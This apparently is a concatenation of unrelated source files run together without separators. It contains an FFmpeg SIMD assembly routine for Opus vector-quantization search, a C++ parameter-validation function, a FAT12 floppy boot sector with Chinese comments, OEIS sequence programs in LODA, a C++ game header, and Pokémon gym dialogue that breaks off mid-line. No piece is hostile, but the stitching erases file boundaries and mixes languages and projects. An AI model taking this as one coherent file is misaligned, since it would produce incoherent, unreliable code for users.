;****************************************************************************** ;* SIMD optimized Opus encoder DSP function ;* ;* Copyright (C) 2017 Ivan Kalvachev <ikalvachev@gmail.com> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "config.asm" %include "libavutil/x86/x86util.asm" %ifdef __NASM_VER__ %use "smartalign" ALIGNMODE p6 %endif SECTION_RODATA 64 const_float_abs_mask: times 8 dd 0x7fffffff const_align_abs_edge: times 8 dd 0 const_float_0_5: times 8 dd 0.5 const_float_1: times 8 dd 1.0 const_float_sign_mask: times 8 dd 0x80000000 const_int32_offsets: %rep 8 dd $-const_int32_offsets %endrep SECTION .text ; ; Setup High Register to be used ; for holding memory constants ; ; %1 - the register to be used, assmues it is >= mm8 ; %2 - name of the constant. ; ; Subsequent opcodes are going to use the constant in the form ; "addps m0, mm_const_name" and it would be turned into: ; "addps m0, [const_name]" on 32 bit arch or ; "addps m0, m8" on 64 bit arch %macro SET_HI_REG_MM_CONSTANT 3 ; movop, reg, const_name %if num_mmregs > 8 %define mm_%3 %2 %{1} %2, [%3] ; movaps m8, [const_name] %else %define mm_%3 [%3] %endif %endmacro ; ; Set Position Independent Code ; Base address of a constant ; %1 - the register to be used, if PIC is set ; %2 - name of the constant. ; ; Subsequent opcode are going to use the base address in the form ; "movaps m0, [pic_base_constant_name+r4]" and it would be turned into ; "movaps m0, [r5 + r4]" if PIC is enabled ; "movaps m0, [constant_name + r4]" if texrel are used %macro SET_PIC_BASE 3; reg, const_label %ifdef PIC %{1} %2, [%3] ; lea r5, [rip+const] %define pic_base_%3 %2 %else %define pic_base_%3 %3 %endif %endmacro %macro PULSES_SEARCH 1 ; m6 Syy_norm ; m7 Sxy_norm addps m6, mm_const_float_0_5 ; Syy_norm += 1.0/2 pxor m1, m1 ; max_idx xorps m3, m3 ; p_max xor r4d, r4d align 16 %%distortion_search: movd xm2, dword r4d ; movd zero extends %ifidn %1,add movaps m4, [tmpY + r4] ; y[i] movaps m5, [tmpX + r4] ; X[i] %if USE_APPROXIMATION == 1 xorps m0, m0 cmpps m0, m0, m5, 4 ; m0 = (X[i] != 0.0) %endif addps m4, m6 ; m4 = Syy_new = y[i] + Syy_norm addps m5, m7 ; m5 = Sxy_new = X[i] + Sxy_norm %if USE_APPROXIMATION == 1 andps m5, m0 ; if(X[i] == 0) Sxy_new = 0; Prevent aproximation error from setting pulses in array padding. %endif %else movaps m5, [tmpY + r4] ; m5 = y[i] xorps m0, m0 ; m0 = 0; cmpps m0, m0, m5, 1 ; m0 = (0<y) subps m4, m6, m5 ; m4 = Syy_new = Syy_norm - y[i] subps m5, m7, [tmpX + r4] ; m5 = Sxy_new = Sxy_norm - X[i] andps m5, m0 ; (0<y)?m5:0 %endif %if USE_APPROXIMATION == 1 rsqrtps m4, m4 mulps m5, m4 ; m5 = p = Sxy_new*approx(1/sqrt(Syy) ) %else mulps m5, m5 divps m5, m4 ; m5 = p = Sxy_new*Sxy_new/Syy %endif VPBROADCASTD m2, xm2 ; m2=i (all lanes get same values, we add the offset-per-lane, later) cmpps m0, m3, m5, 1 ; m0 = (m3 < m5) ; (p_max < p) ; (p > p_max) maxps m3, m5 ; m3=max(p_max,p) ; maxps here is faster than blendvps, despite blend having lower latency. pand m2, m0 ; This version seems faster than sse41 pblendvb pmaxsw m1, m2 ; SSE2 signed word, so it would work for N < 32768/4 add r4d, mmsize cmp r4d, Nd jb %%distortion_search por m1, mm_const_int32_offsets ; max_idx offsets per individual lane (skipped in the inner loop) movdqa m4, m1 ; needed for the aligned y[max_idx]+=1; processing %if mmsize >= 32 ; Merge parallel maximums round 8 (4 vs 4) vextractf128 xm5, ym3, 1 ; xmm5 = ymm3[1x128] = ymm3[255..128b] cmpps xm0, xm3, xm5, 1 ; m0 = (m3 < m5) = ( p[0x128] < p[1x128] ) vextracti128 xm2, ym1, 1 ; xmm2 = ymm1[1x128] = ymm1[255..128b] BLENDVPS xm3, xm5, xm0 ; max_idx = m0 ? max_idx[1x128] : max_idx[0x128] PBLENDVB xm1, xm2, xm0 ; p = m0 ? p[1x128] : p[0x128] %endif ; Merge parallel maximums round 4 (2 vs 2) ; m3=p[3210] movhlps xm5, xm3 ; m5=p[xx32] cmpps xm0, xm3, xm5, 1 ; m0 = (m3 < m5) = ( p[1,0] < p[3,2] ) pshufd xm2, xm1, q3232 BLENDVPS xm3, xm5, xm0 ; max_idx = m0 ? max_idx[3,2] : max_idx[1,0] PBLENDVB xm1, xm2, xm0 ; p = m0 ? p[3,2] : p[1,0] ; Merge parallel maximums final round (1 vs 1) shufps xm0, xm3, xm3, q1111 ; m0 = m3[1] = p[1] cmpss xm0, xm3, 5 ; m0 = !(m0 >= m3) = !( p[1] >= p[0] ) pshufd xm2, xm1, q1111 PBLENDVB xm1, xm2, xm0 movd dword r4d, xm1 ; zero extends to the rest of r4q VBROADCASTSS m3, [tmpX + r4] %{1}ps m7, m3 ; Sxy += X[max_idx] VBROADCASTSS m5, [tmpY + r4] %{1}ps m6, m5 ; Syy += Y[max_idx] ; We have to update a single element in Y[i] ; However writing 4 bytes and then doing 16 byte load in the inner loop ; could cause a stall due to breaking write forwarding. VPBROADCASTD m1, xm1 pcmpeqd m1, m1, m4 ; exactly 1 element matches max_idx and this finds it and r4d, ~(mmsize-1) ; align address down, so the value pointed by max_idx is inside a mmsize load movaps m5, [tmpY + r4] ; m5 = Y[y3...ym...y0] andps m1, mm_const_float_1 ; m1 = [ 0...1.0...0] %{1}ps m5, m1 ; m5 = Y[y3...ym...y0] +/- [0...1.0...0] movaps [tmpY + r4], m5 ; Y[max_idx] +-= 1.0; %endmacro ; ; We need one more register for ; PIC relative addressing. Use this ; to count it in cglobal ; %ifdef PIC %define num_pic_regs 1 %else %define num_pic_regs 0 %endif ; ; Pyramid Vector Quantization Search implementation ; ; float * inX - Unaligned (SIMD) access, it will be overread, ; but extra data is masked away. ; int32 * outY - Should be aligned and padded buffer. ; It is used as temp buffer. ; uint32 K - Number of pulses to have after quantizations. ; uint32 N - Number of vector elements. Must be 0 < N < 256 ; %macro PVQ_FAST_SEARCH 1 cglobal pvq_search%1, 4, 5+num_pic_regs, 11, 256*4, inX, outY, K, N %define tmpX rsp %define tmpY outYq movaps m0, [const_float_abs_mask] shl Nd, 2 ; N *= sizeof(float); also 32 bit operation zeroes the high 32 bits in 64 bit mode. mov r4d, Nd neg r4d and r4d, mmsize-1 SET_PIC_BASE lea, r5, const_align_abs_edge ; rip+const movups m2, [pic_base_const_align_abs_edge + r4 - mmsize] add Nd, r4d ; N = align(N, mmsize) lea r4d, [Nd - mmsize] ; N is rounded up (aligned up) to mmsize, so r4 can't become negative here, unless N=0. movups m1, [inXq + r4] andps m1, m2 movaps [tmpX + r4], m1 ; Sx = abs( X[N-1] ) align 16 %%loop_abs_sum: sub r4d, mmsize jc %%end_loop_abs_sum movups m2, [inXq + r4] andps m2, m0 movaps [tmpX + r4], m2 ; tmpX[i]=abs(X[i]) addps m1, m2 ; Sx += abs(X[i]) jmp %%loop_abs_sum align 16 %%end_loop_abs_sum: HSUMPS m1, m2 ; m1 = Sx xorps m0, m0 comiss xm0, xm1 ; jz %%zero_input ; if (Sx==0) goto zero_input cvtsi2ss xm0, dword Kd ; m0 = K %if USE_APPROXIMATION == 1 rcpss xm1, xm1 ; m1 = approx(1/Sx) mulss xm0, xm1 ; m0 = K*(1/Sx) %else divss xm0, xm1 ; b = K/Sx ; b = K/max_x %endif VBROADCASTSS m0, xm0 lea r4d, [Nd - mmsize] pxor m5, m5 ; Sy ( Sum of abs( y[i]) ) xorps m6, m6 ; Syy ( Sum of y[i]*y[i] ) xorps m7, m7 ; Sxy ( Sum of X[i]*y[i] ) align 16 %%loop_guess: movaps m1, [tmpX + r4] ; m1 = X[i] mulps m2, m0, m1 ; m2 = res*X[i] cvtps2dq m2, m2 ; yt = (int)lrintf( res*X[i] ) paddd m5, m2 ; Sy += yt cvtdq2ps m2, m2 ; yt = (float)yt mulps m1, m2 ; m1 = X[i]*yt movaps [tmpY + r4], m2 ; y[i] = m2 addps m7, m1 ; Sxy += m1; mulps m2, m2 ; m2 = yt*yt addps m6, m2 ; Syy += m2 sub r4d, mmsize jnc %%loop_guess HSUMPS m6, m1 ; Syy_norm HADDD m5, m4 ; pulses movd dword r4d, xm5 ; zero extends to the rest of r4q sub Kd, r4d ; K -= pulses , also 32 bit operation zeroes high 32 bit in 64 bit mode. jz %%finish ; K - pulses == 0 SET_HI_REG_MM_CONSTANT movaps, m8, const_float_0_5 SET_HI_REG_MM_CONSTANT movaps, m9, const_float_1 SET_HI_REG_MM_CONSTANT movdqa, m10, const_int32_offsets ; Use Syy/2 in distortion parameter calculations. ; Saves pre and post-caclulation to correct Y[] values. ; Same precision, since float mantisa is normalized. ; The SQRT approximation does differ. HSUMPS m7, m0 ; Sxy_norm mulps m6, mm_const_float_0_5 jc %%remove_pulses_loop ; K - pulses < 0 align 16 ; K - pulses > 0 %%add_pulses_loop: PULSES_SEARCH add ; m6 Syy_norm ; m7 Sxy_norm sub Kd, 1 jnz %%add_pulses_loop addps m6, m6 ; Syy*=2 jmp %%finish align 16 %%remove_pulses_loop: PULSES_SEARCH sub ; m6 Syy_norm ; m7 Sxy_norm add Kd, 1 jnz %%remove_pulses_loop addps m6, m6 ; Syy*=2 align 16 %%finish: lea r4d, [Nd - mmsize] movaps m2, [const_float_sign_mask] align 16 %%restore_sign_loop: movaps m0, [tmpY + r4] ; m0 = Y[i] movups m1, [inXq + r4] ; m1 = X[i] andps m1, m2 ; m1 = sign(X[i]) orps m0, m1 ; m0 = Y[i]*sign cvtps2dq m3, m0 ; m3 = (int)m0 movaps [outYq + r4], m3 sub r4d, mmsize jnc %%restore_sign_loop %%return: %if ARCH_X86_64 == 0 ; sbrdsp movss r0m, xm6 ; return (float)Syy_norm fld dword r0m %else movaps m0, m6 ; return (float)Syy_norm %endif RET align 16 %%zero_input: lea r4d, [Nd - mmsize] xorps m0, m0 %%zero_loop: movaps [outYq + r4], m0 sub r4d, mmsize jnc %%zero_loop movaps m6, [const_float_1] jmp %%return %endmacro ; if 1, use a float op that give half precision but execute for around 3 cycles. ; On Skylake & Ryzen the division is much faster (around 11c/3), ; that makes the full precision code about 2% slower. ; Opus also does use rsqrt approximation in their intrinsics code. %define USE_APPROXIMATION 1 INIT_XMM sse2 PVQ_FAST_SEARCH _approx INIT_XMM sse4 PVQ_FAST_SEARCH _approx %define USE_APPROXIMATION 0 INIT_XMM avx PVQ_FAST_SEARCH _exact
#include "InputConstraints.hpp" #include <fstream> #include <iostream> #include <string> #include "InputParameters.hpp" using std::ofstream; using std::string; void input_constraints(InputParameters &inParams) { ofstream outfile; outfile.open("log.txt", std::fstream::app); outfile << "function input_constraints called with inputs: {" << std::endl; outfile << " inParams = "; outfile << "Instance of InputParameters object" << std::endl; outfile << " }" << std::endl; outfile.close(); if (!(0.1 <= inParams.a && inParams.a <= 5.0)) { std::cout << "a has value "; std::cout << inParams.a; std::cout << " but expected to be "; std::cout << "between "; std::cout << 0.1; std::cout << " (d_min)"; std::cout << " and "; std::cout << 5.0; std::cout << " (d_max)"; std::cout << "." << std::endl; throw("InputError"); } if (!(0.1 <= inParams.b && inParams.b <= 5.0)) { std::cout << "b has value "; std::cout << inParams.b; std::cout << " but expected to be "; std::cout << "between "; std::cout << 0.1; std::cout << " (d_min)"; std::cout << " and "; std::cout << 5.0; std::cout << " (d_max)"; std::cout << "." << std::endl; throw("InputError"); } if (!(4.5 <= inParams.w && inParams.w <= 910.0)) { std::cout << "w has value "; std::cout << inParams.w; std::cout << " but expected to be "; std::cout << "between "; std::cout << 4.5; std::cout << " (w_min)"; std::cout << " and "; std::cout << 910.0; std::cout << " (w_max)"; std::cout << "." << std::endl; throw("InputError"); } if (!(6.0 <= inParams.SD && inParams.SD <= 130.0)) { std::cout << "SD has value "; std::cout << inParams.SD; std::cout << " but expected to be "; std::cout << "between "; std::cout << 6.0; std::cout << " (SD_min)"; std::cout << " and "; std::cout << 130.0; std::cout << " (SD_max)"; std::cout << "." << std::endl; throw("InputError"); } if (!(inParams.AR <= 5.0)) { std::cout << "AR has value "; std::cout << inParams.AR; std::cout << " but expected to be "; std::cout << "below "; std::cout << 5.0; std::cout << " (AR_max)"; std::cout << "." << std::endl; throw("InputError"); } if (!(inParams.a > 0)) { std::cout << "a has value "; std::cout << inParams.a; std::cout << " but expected to be "; std::cout << "above "; std::cout << 0; std::cout << "." << std::endl; throw("InputError"); } if (!(inParams.a >= inParams.b)) { std::cout << "a has value "; std::cout << inParams.a; std::cout << " but expected to be "; std::cout << "above "; std::cout << inParams.b; std::cout << " (b)"; std::cout << "." << std::endl; throw("InputError"); } if (!(0 < inParams.b && inParams.b <= inParams.a)) { std::cout << "b has value "; std::cout << inParams.b; std::cout << " but expected to be "; std::cout << "between "; std::cout << 0; std::cout << " and "; std::cout << inParams.a; std::cout << " (a)"; std::cout << "." << std::endl; throw("InputError"); } if (!(inParams.w > 0)) { std::cout << "w has value "; std::cout << inParams.w; std::cout << " but expected to be "; std::cout << "above "; std::cout << 0; std::cout << "." << std::endl; throw("InputError"); } if (!(0 <= inParams.P_btol && inParams.P_btol <= 1)) { std::cout << "P_btol has value "; std::cout << inParams.P_btol; std::cout << " but expected to be "; std::cout << "between "; std::cout << 0; std::cout << " and "; std::cout << 1; std::cout << "." << std::endl; throw("InputError"); } if (!(inParams.TNT > 0)) { std::cout << "TNT has value "; std::cout << inParams.TNT; std::cout << " but expected to be "; std::cout << "above "; std::cout << 0; std::cout << "." << std::endl; throw("InputError"); } if (!(inParams.SD > 0)) { std::cout << "SD has value "; std::cout << inParams.SD; std::cout << " but expected to be "; std::cout << "above "; std::cout << 0; std::cout << "." << std::endl; throw("InputError"); } if (!(inParams.AR >= 1)) { std::cout << "AR has value "; std::cout << inParams.AR; std::cout << " but expected to be "; std::cout << "above "; std::cout << 1; std::cout << "." << std::endl; throw("InputError"); } }
;%define _BOOT_DEBUG_ ; 做 Boot Sector 时一定将此行注释掉!将此行打开后用 nasm Boot.asm -o Boot.com 做成一个.COM文件易于调试 %ifdef _BOOT_DEBUG_ org 0100h ; 调试状态, 做成 .COM 文件, 可调试 %else org 07c00h ; Boot 状态, Bios 将把 Boot Sector 加载到 0:7C00 处并开始执行 %endif ;================================================================================================ %ifdef _BOOT_DEBUG_ BaseOfStack equ 0100h ; 调试状态下堆栈基地址(栈底, 从这个位置向低地址生长) %else BaseOfStack equ 07c00h ; Boot状态下堆栈基地址(栈底, 从这个位置向低地址生长) %endif %include "load.inc" ;================================================================================================ jmp short LABEL_START ; Start to boot. nop ; 这个 nop 不可少 ; 下面是 FAT12 磁盘的头, 之所以包含它是因为下面用到了磁盘的一些信息 %include "fat12hdr.inc" LABEL_START: mov ax, cs mov ds, ax mov es, ax mov ss, ax mov sp, BaseOfStack ; 清屏 mov ax, 0600h ; AH = 6, AL = 0h mov bx, 0700h ; 黑底白字(BL = 07h) mov cx, 0 ; 左上角: (0, 0) mov dx, 0184fh ; 右下角: (80, 50) int 10h ; int 10h mov dh, 0 ; "Booting " call DispStr ; 显示字符串 xor ah, ah ; ┓ xor dl, dl ; ┣ 软驱复位 int 13h ; ┛ ; 下面在 A 盘的根目录寻找 LOADER.BIN mov word [wSectorNo], SectorNoOfRootDirectory LABEL_SEARCH_IN_ROOT_DIR_BEGIN: cmp word [wRootDirSizeForLoop], 0 ; ┓ jz LABEL_NO_LOADERBIN ; ┣ 判断根目录区是不是已经读完 dec word [wRootDirSizeForLoop] ; ┛ 如果读完表示没有找到 LOADER.BIN mov ax, BaseOfLoader mov es, ax ; es <- BaseOfLoader mov bx, OffsetOfLoader ; bx <- OffsetOfLoader 于是, es:bx = BaseOfLoader:OffsetOfLoader mov ax, [wSectorNo] ; ax <- Root Directory 中的某 Sector 号 mov cl, 1 call ReadSector mov si, LoaderFileName ; ds:si -> "LOADER BIN" mov di, OffsetOfLoader ; es:di -> BaseOfLoader:0100 = BaseOfLoader*10h+100 cld mov dx, 10h LABEL_SEARCH_FOR_LOADERBIN: cmp dx, 0 ; ┓循环次数控制, jz LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR ; ┣如果已经读完了一个 Sector, dec dx ; ┛就跳到下一个 Sector mov cx, 11 LABEL_CMP_FILENAME: cmp cx, 0 jz LABEL_FILENAME_FOUND ; 如果比较了 11 个字符都相等, 表示找到 dec cx lodsb ; ds:si -> al cmp al, byte [es:di] jz LABEL_GO_ON jmp LABEL_DIFFERENT ; 只要发现不一样的字符就表明本 DirectoryEntry 不是 ; 我们要找的 LOADER.BIN LABEL_GO_ON: inc di jmp LABEL_CMP_FILENAME ; 继续循环 LABEL_DIFFERENT: and di, 0FFE0h ; else ┓ di &= E0 为了让它指向本条目开头 add di, 20h ; ┃ mov si, LoaderFileName ; ┣ di += 20h 下一个目录条目 jmp LABEL_SEARCH_FOR_LOADERBIN; ┛ LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR: add word [wSectorNo], 1 jmp LABEL_SEARCH_IN_ROOT_DIR_BEGIN LABEL_NO_LOADERBIN: mov dh, 2 ; "No LOADER." call DispStr ; 显示字符串 %ifdef _BOOT_DEBUG_ mov ax, 4c00h ; ┓ int 21h ; ┛没有找到 LOADER.BIN, 回到 DOS %else jmp $ ; 没有找到 LOADER.BIN, 死循环在这里 %endif LABEL_FILENAME_FOUND: ; 找到 LOADER.BIN 后便来到这里继续 mov ax, RootDirSectors and di, 0FFE0h ; di -> 当前条目的开始 add di, 01Ah ; di -> 首 Sector mov cx, word [es:di] push cx ; 保存此 Sector 在 FAT 中的序号 add cx, ax add cx, DeltaSectorNo ; 这句完成时 cl 里面变成 LOADER.BIN 的起始扇区号 (从 0 开始数的序号) mov ax, BaseOfLoader mov es, ax ; es <- BaseOfLoader mov bx, OffsetOfLoader ; bx <- OffsetOfLoader 于是, es:bx = BaseOfLoader:OffsetOfLoader = BaseOfLoader * 10h + OffsetOfLoader mov ax, cx ; ax <- Sector 号 LABEL_GOON_LOADING_FILE: push ax ; ┓ push bx ; ┃ mov ah, 0Eh ; ┃ 每读一个扇区就在 "Booting " 后面打一个点, 形成这样的效果: mov al, '.' ; ┃ mov bl, 0Fh ; ┃ Booting ...... int 10h ; ┃ pop bx ; ┃ pop ax ; ┛ mov cl, 1 call ReadSector pop ax ; 取出此 Sector 在 FAT 中的序号 call GetFATEntry cmp ax, 0FFFh jz LABEL_FILE_LOADED push ax ; 保存 Sector 在 FAT 中的序号 mov dx, RootDirSectors add ax, dx add ax, DeltaSectorNo add bx, [BPB_BytsPerSec] jmp LABEL_GOON_LOADING_FILE LABEL_FILE_LOADED: mov dh, 1 ; "Ready." call DispStr ; 显示字符串 ; ***************************************************************************************************** jmp BaseOfLoader:OffsetOfLoader ; 这一句正式跳转到已加载到内存中的 LOADER.BIN 的开始处 ; 开始执行 LOADER.BIN 的代码 ; Boot Sector 的使命到此结束 ; ***************************************************************************************************** ;============================================================================ ;变量 ;---------------------------------------------------------------------------- wRootDirSizeForLoop dw RootDirSectors ; Root Directory 占用的扇区数, 在循环中会递减至零. wSectorNo dw 0 ; 要读取的扇区号 bOdd db 0 ; 奇数还是偶数 ;============================================================================ ;字符串 ;---------------------------------------------------------------------------- LoaderFileName db "LOADER BIN", 0 ; LOADER.BIN 之文件名 ; 为简化代码, 下面每个字符串的长度均为 MessageLength MessageLength equ 9 BootMessage: db "Booting "; 9字节, 不够则用空格补齐. 序号 0 Message1 db "Ready. "; 9字节, 不够则用空格补齐. 序号 1 Message2 db "No LOADER"; 9字节, 不够则用空格补齐. 序号 2 ;============================================================================ ;---------------------------------------------------------------------------- ; 函数名: DispStr ;---------------------------------------------------------------------------- ; 作用: ; 显示一个字符串, 函数开始时 dh 中应该是字符串序号(0-based) DispStr: mov ax, MessageLength mul dh add ax, BootMessage mov bp, ax ; ┓ mov ax, ds ; ┣ ES:BP = 串地址 mov es, ax ; ┛ mov cx, MessageLength ; CX = 串长度 mov ax, 01301h ; AH = 13, AL = 01h mov bx, 0007h ; 页号为0(BH = 0) 黑底白字(BL = 07h) mov dl, 0 int 10h ; int 10h ret ;---------------------------------------------------------------------------- ; 函数名: ReadSector ;---------------------------------------------------------------------------- ; 作用: ; 从第 ax 个 Sector 开始, 将 cl 个 Sector 读入 es:bx 中 ReadSector: ; ----------------------------------------------------------------------- ; 怎样由扇区号求扇区在磁盘中的位置 (扇区号 -> 柱面号, 起始扇区, 磁头号) ; ----------------------------------------------------------------------- ; 设扇区号为 x ; ┌ 柱面号 = y >> 1 ; x ┌ 商 y ┤ ; -------------- => ┤ └ 磁头号 = y & 1 ; 每磁道扇区数 │ ; └ 余 z => 起始扇区号 = z + 1 push bp mov bp, sp sub esp, 2 ; 辟出两个字节的堆栈区域保存要读的扇区数: byte [bp-2] mov byte [bp-2], cl push bx ; 保存 bx mov bl, [BPB_SecPerTrk] ; bl: 除数 div bl ; y 在 al 中, z 在 ah 中 inc ah ; z ++ mov cl, ah ; cl <- 起始扇区号 mov dh, al ; dh <- y shr al, 1 ; y >> 1 (其实是 y/BPB_NumHeads, 这里BPB_NumHeads=2) mov ch, al ; ch <- 柱面号 and dh, 1 ; dh & 1 = 磁头号 pop bx ; 恢复 bx ; 至此, "柱面号, 起始扇区, 磁头号" 全部得到 ^^^^^^^^^^^^^^^^^^^^^^^^ mov dl, [BS_DrvNum] ; 驱动器号 (0 表示 A 盘) .GoOnReading: mov ah, 2 ; 读 mov al, byte [bp-2] ; 读 al 个扇区 int 13h jc .GoOnReading ; 如果读取错误 CF 会被置为 1, 这时就不停地读, 直到正确为止 add esp, 2 pop bp ret ;---------------------------------------------------------------------------- ; 函数名: GetFATEntry ;---------------------------------------------------------------------------- ; 作用: ; 找到序号为 ax 的 Sector 在 FAT 中的条目, 结果放在 ax 中 ; 需要注意的是, 中间需要读 FAT 的扇区到 es:bx 处, 所以函数一开始保存了 es 和 bx GetFATEntry: push es push bx push ax mov ax, BaseOfLoader ; ┓ sub ax, 0100h ; ┣ 在 BaseOfLoader 后面留出 4K 空间用于存放 FAT mov es, ax ; ┛ pop ax mov byte [bOdd], 0 mov bx, 3 mul bx ; dx:ax = ax * 3 mov bx, 2 div bx ; dx:ax / 2 ==> ax <- 商, dx <- 余数 cmp dx, 0 jz LABEL_EVEN mov byte [bOdd], 1 LABEL_EVEN:;偶数 xor dx, dx ; 现在 ax 中是 FATEntry 在 FAT 中的偏移量. 下面来计算 FATEntry 在哪个扇区中(FAT占用不止一个扇区) mov bx, [BPB_BytsPerSec] div bx ; dx:ax / BPB_BytsPerSec ==> ax <- 商 (FATEntry 所在的扇区相对于 FAT 来说的扇区号) ; dx <- 余数 (FATEntry 在扇区内的偏移)。 push dx mov bx, 0 ; bx <- 0 于是, es:bx = (BaseOfLoader - 100):00 = (BaseOfLoader - 100) * 10h add ax, SectorNoOfFAT1 ; 此句执行之后的 ax 就是 FATEntry 所在的扇区号 mov cl, 2 call ReadSector ; 读取 FATEntry 所在的扇区, 一次读两个, 避免在边界发生错误, 因为一个 FATEntry 可能跨越两个扇区 pop dx add bx, dx mov ax, [es:bx] cmp byte [bOdd], 1 jnz LABEL_EVEN_2 shr ax, 4 LABEL_EVEN_2: and ax, 0FFFh LABEL_GET_FAT_ENRY_OK: pop bx pop es ret ;---------------------------------------------------------------------------- times 510-($-$$) db 0 ; 填充剩下的空间,使生成的二进制代码恰好为512字节 dw 0xaa55 ; 结束标志
; A193041: Coefficient of x in the reduction by x^2->x+1 of the polynomial p(n,x) defined at Comments. ; 0,1,3,13,44,122,292,631,1267,2411,4408,7820,13560,23109,38867,64721,106964,175782,287660,469275,763795,1241071,2014128,3265848,5292144,8571817,13879587,22468981,36368252,58859186,95251828,154138015 mov $17,$0 mov $19,$0 lpb $19 clr $0,17 mov $0,$17 sub $19,1 sub $0,$19 mov $14,$0 mov $16,$0 lpb $16 clr $0,14 mov $0,$14 sub $16,1 sub $0,$16 mov $11,$0 mov $13,$0 lpb $13 mov $0,$11 sub $13,1 sub $0,$13 mov $7,$0 mov $9,2 lpb $9 mov $0,$7 sub $9,1 add $0,$9 sub $0,1 mov $3,10 mov $6,6 lpb $0 sub $0,1 mov $2,$6 add $2,3 add $6,$3 mov $3,$2 sub $6,3 lpe mov $1,$6 mov $10,$9 lpb $10 mov $8,$1 sub $10,1 lpe lpe lpb $7 mov $7,0 sub $8,$1 lpe mov $1,$8 sub $1,6 add $12,$1 lpe add $15,$12 lpe add $18,$15 lpe mov $1,$18
; A100149: Structured small rhombicubeoctahedral numbers. ; 1,24,106,284,595,1076,1764,2696,3909,5440,7326,9604,12311,15484,19160,23376,28169,33576,39634,46380,53851,62084,71116,80984,91725,103376,115974,129556,144159,159820,176576,194464,213521,233784,255290,278076,302179,327636,354484,382760,412501,443744,476526,510884,546855,584476,623784,664816,707609,752200,798626,846924,897131,949284,1003420,1059576,1117789,1178096,1240534,1305140,1371951,1441004,1512336,1585984,1661985,1740376,1821194,1904476,1990259,2078580,2169476,2262984,2359141,2457984,2559550,2663876,2770999,2880956,2993784,3109520,3228201,3349864,3474546,3602284,3733115,3867076,4004204,4144536,4288109,4434960,4585126,4738644,4895551,5055884,5219680,5386976,5557809,5732216,5910234,6091900 mov $1,2 add $1,$0 mov $2,$1 mov $7,$0 lpb $2 add $3,$0 add $3,1 lpb $0 add $3,$0 sub $0,1 lpe mov $1,$3 sub $2,1 add $0,$2 lpe sub $1,3 mov $5,$7 mov $8,$7 lpb $5 sub $5,1 add $6,$8 lpe mov $4,9 mov $8,$6 lpb $4 add $1,$8 sub $4,1 lpe mov $5,$7 mov $6,0 lpb $5 sub $5,1 add $6,$8 lpe mov $4,6 mov $8,$6 lpb $4 add $1,$8 sub $4,1 lpe mov $0,$1
; A017763: a(n) = binomial coefficient C(n,99). ; 1,100,5050,171700,4421275,91962520,1609344100,24370067800,325949656825,3911395881900,42634215112710,426342151127100,3943664897925675,33976189889821200,274236389824985400,2084196562669889040,14980162794189827475,102217581419177646300,664414279224654700950,4126362365711013405900,24551856075980529765105,140296320434174455800600,771629762387959506903300,4092992652666567819226200,20976587344916160073534275,104043873230784153964730004,500210928994154586368894250,2334317668639388069721506500 add $0,99 bin $0,99
; A160451: (4/3)u(u^3+6*u^2+8u-3) where u=Floor[{3n+5)/2]. ; 1008,2080,6440,10208,22360,31416,57408,75208,122816,153680,232408,281520,402600,476008,652400,757016,1003408,1147008,1479816,1671040,2108408,2356760,2918560,3234408,3942240,4336816,5214008,5699408 mov $3,$0 div $3,2 add $3,$0 mov $0,2 add $3,1 add $0,$3 mov $1,$0 add $1,4 mov $2,$0 add $2,1 mul $1,$2 bin $1,2 sub $1,378 div $1,3 mul $1,8 add $1,1008
// // Created by Peterek, Filip on 16/09/2019. // #ifndef SSPU_UKAZKA_2_GAME_HPP #define SSPU_UKAZKA_2_GAME_HPP #include <vector> #include <memory> #include <SFML/Graphics.hpp> #include <SFML/System.hpp> #include "projectile.hpp" #include "enemy.hpp" #include "player.hpp" #include "resource_manager.hpp" #include "enemy_factory.hpp" #include "projectile_factory.hpp" #include "weapon_factory.hpp" #include "particle.hpp" #include "particle_creator.hpp" #include "hud.hpp" #include "background.hpp" class Game { static constexpr uint64_t spawnChance = 30; sf::RenderWindow win; ResourceManager resourceManager; std::shared_ptr<Background> background; std::shared_ptr<EnemyFactory> enemyFactory; ProjectileFactory projectileFactory; WeaponFactory weaponFactory; ParticleCreator particleCreator; std::shared_ptr<HUD> hud; const float scale; Player player; std::vector<Enemy> enemies; std::vector<Projectile> projectiles; std::vector<Particle> particles; bool gameOver() const; void loadTextures(); void loadFonts(); void spawnEnemies(); void deleteEntities(); void handleCollisions(); void tick(); void update(); void handleEvents(); void draw(); void handleMovement(); void moveEntity(Moveable & mv); void spawnBullet(sf::Vector2f pos, Shooter shooter, sf::Vector2f forces, sf::Color fill); void spawnParticle(const sf::Texture & txt, uint64_t spriteCount, uint64_t period, sf::Vector2f pos); public: Game(); void run(); }; #endif //SSPU_UKAZKA_2_GAME_HPP
_CeruleanGymText_5c7be:: text "Hi, you're a new" line "face!" para "What's your policy" line "on #MON? What" cont "is your approach?" para "My policy is an" line "all-out offensive" cont "with mainly water" cont "#MON!" para "MISTY, the world-" line "famous beauty, is" cont "your host!" para "Are you ready," line "sweetie?" done _CeruleanGymText_5c7c3:: text "TM11 teaches" line "BUBBLEBEAM!" para "Use it on an" line "aquatic #MON!" done _CeruleanGymText_5c7c8:: text "The CASCADEBADGE" line "makes all #MON" cont "up to L30 obey!" para "That includes" line "even outsiders!" para "There's more, you" line "can now use CUT" cont "anytime!" para "You can CUT down" line "small bushes to" cont "open new paths!" para "You can also have" line "my favorite TM!" done _ReceivedTM11Text:: text $52, " received" line "TM11!@@" _CeruleanGymText_5c7d3:: text "You better make" line "room for this!" done _CeruleanGymText_5c7d8:: text "I can't" line "believe I lost!" para "All right!" para "You can have the" line "CASCADEBADGE to" cont "show you beat me!" prompt _CeruleanGymBattleText1:: text "I'm more than good" line "enough for you!" para "MISTY can wait!" done _CeruleanGymEndBattleText1:: text "You" line "overwhelmed me!" prompt _CeruleanGymAfterBattleText1:: text "You have to face" line "other trainers to" 